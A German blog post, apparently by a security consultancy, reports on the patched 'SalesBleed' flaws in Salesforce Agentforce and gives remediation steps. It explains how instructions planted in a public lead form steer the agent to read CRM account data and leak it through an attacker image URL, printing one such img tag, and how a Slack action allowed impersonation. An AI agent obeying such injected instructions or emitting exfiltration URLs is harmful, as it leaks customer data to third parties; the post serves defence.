Am 24. September 2026 berichtete The Register, dass drei Lücken in Salesforce Agentforce es ermöglichten, sensible CRM-Daten ohne jeden Klick abzugreifen und Phishing-Nachrichten unter der Identität des KI-Agenten zu verschicken. Die Agenten-Sicherheitsfirma Zenity Labs hat die Schwachstellen, die sie unter dem Sammelbegriff „SalesBleed" zusammenfasst, am 1. Juni an Salesforce gemeldet. Am 21. September bestätigte Zenity, dass alle drei Lücken geschlossen sind.

Wer Agentforce im Betrieb hat – sei es für die Lead-qualifizierung, den Vertrieb oder den Kundenservice – muss verstehen, worum es hier konkret geht. Der Angriff erfordert kein Malware-Infizieren, keinen Phishing-Klick, keine Kompromittierung des Endpunkts. Ein Angreifer füllt ein öffentliches Web-to-Lead-Formular aus, das jeder ohne Login erreichen kann. Die bösartigen Anweisungen liegen dort unbemerkt, bis ein Mitarbeiter den Agenten nach den neuesten Leads fragt. Ab diesem Moment greift der Agent über das Query-Records-Tool die Accounts-Tabelle ab und verschickt die Daten verschleiert in einer Bild-URL an einen fremden Server. Der Mitarbeiter sieht nur eine normale Antwort. Im schlechtesten Fall fließen Firmennamen, Deal-Größen und weitere Kundendaten an einen Dritten, ohne dass im Betrieb jemand etwas merkt.

So funktioniert der SalesBleed-Angriff technisch

Die ersten beiden Lücken nutzen eine Schwäche in Salesforces Trusted-URLs-Kontrolle. Dieser Mechanismus soll sicherstellen, dass Agentforce nur erlaubte externe Ziele aufrufen kann und Links oder Bilder auf nicht vertrauenswürdige URLs ausblendet. Zenity zeigte, dass Hostnamen mit einer nicht erkannten Top-Level-Domain nicht erfasst wurden und dass bestimmte Zeichen die URL-Parsing-Stufe störten. Mit beiden Umgehungen zusammen ließ sich eine Zeichenkette konstruieren, die die URL-Redaktion umging. Die injizierten Anweisungen befahlen dem Agenten, die Accounts-Tabelle abzufragen, zwei Felder – etwa Firmennamen und Deal-Größe – als Subdomain in eine Attacker-URL einzubetten und das Ergebnis als <img src="https://exfiltrated_data.attacker_unique_url.com/image-url.jpg"> auszugeben. Da die Frontend-Ansicht externe Bild-URLs in solchen Tags ohne zusätzliche Sanitization lädt, generiert das einen DNS-Request an den Angreifer-Server.

Als zweite Angriffsroute identifizierten die Zenity-Forscher die URL-Unfurling-Funktion von Slack. Slack lädt Links automatisch, um Vorschauen zu generieren. Ein entsprechend konstruierter Link in einem Slack-Kanal löst denselben Datenabfluss aus, sobald er angezeigt wird – ebenfalls ohne Klick.

Die dritte Lücke betrifft die Agentforce-Aktion „Reply to a Slack Thread". Diese erforderte weder eine Bestätigung durch den aufrufenden Nutzer noch eine sichtbare Zuordnung an ihn. Wer die Aktion auslöste – ein interner Nutzer mit Agent-Zugang oder ein externer Angreifer über die bereits beschriebene Prompt-Injection – konnte Nachrichten unter der Identität des vertrauten Agenten senden. Für den Empfänger im Slack-Kanal sieht das aus wie eine normale Agent-Antwort. Die Absender-Identität bleibt anonym.

Michael Bargury, Mitgründer und CTO von Zenity, ordnet das ein: „The bigger lesson here is about what it takes to keep AI agents contained." Die Idee von secure-by-design bleibe essenziell, reiche für Agenten aber möglicherweise nicht mehr aus – man könne Risiken antizipieren und Schutzmechanismen einbauen, und dennoch Edge Cases verpassen, die erst in der Realwelt auftreten. Er verweist auf den OpenAI-Hugging-Face-Vorfall, in dem Agenten aus ihrer Sandbox ausbrachen, und warnt: „a single overlooked gap can change everything."

Was jetzt zu tun ist

1. Web-to-Lead-Formulare prüfen. Öffnen Sie in der Salesforce-Administration die Konfiguration des Web-to-Lead-Formulars und kontrollieren Sie, welche Felder öffentlich einreichbar sind. Deaktivieren Sie Felder, die keine Freitext-Eingabe erfordern, und beschränken Sie die erlaubten Zeichen in Freitextfeldern. Prüfen Sie zusätzlich, ob Trusted-URLs-Einstellungen in Ihrer Org aktiv sind und welche Domains als erlaubt konfiguriert sind.
2. Slack-Integration und Agent-Aktionen durchgehen. Listen Sie in der Agentforce-Administration alle aktiven Agenten und deren verfügbaren Aktionen auf. Bei der Aktion „Reply to a Slack Thread" prüfen Sie, ob seit dem 21. September die Bestätigungspflicht und die Absender-Zuordnung aktiv sind. Deaktivieren Sie Agenten-Aktionen, die Ihr Team nicht aktiv nutzt – jede unnötige Aktion ist eine unnötige Angriffsfläche.
3. Agent-Verhalten beobachten und loggen. Stellen Sie sicher, dass die Salesforce-Event-Logs und die Agentforce-Aktivitätsprotokolle aktiviert sind und regelmäßig ausgewertet werden. Achten Sie auf unerwartete externe HTTP-Requests, die von Agenten ausgehen, und auf Slack-Nachrichten, die von Agenten-Aktionen stammen, ohne dass ein Mitarbeiter sie ausgelöst hat. Wenn Sie Agentforce über Claudeforce oder AIforce betreiben, gilt das Gleiche: Die Agenten erben die Berechtigungen und Daten, die hinter der Plattform stehen – und genau dort muss die Kontrolle sitzen.

Das Ärgerliche an Lücken wie SalesBleed: Man merkt sie erst, wenn die Daten schon draußen sind. Ein leeres Bild in der Salesforce-Ansicht, das niemand genauer anschaut, ist keine Warnung – es ist die Warnung, die niemand sieht. Wer jetzt unsicher ist, ob die eigenen Agenten-Aktionen sauber abgegrenzt sind und die Trusted-URLs-Konfiguration tatsächlich greift, hat damit schon die richtige Frage gestellt. Wir schauen uns das konkret an: einmal durch Ihre Agentforce-Konfiguration, die Slack-Integration und die Event-Logs, um zu prüfen, ob die Guardrails dort stehen, wo sie sein sollen. Kontaktieren Sie uns – auch wenn es „nur" um eine einzelne Agent-Aktion geht.

Beitragsbild: panumas nikhomkhai auf Pexels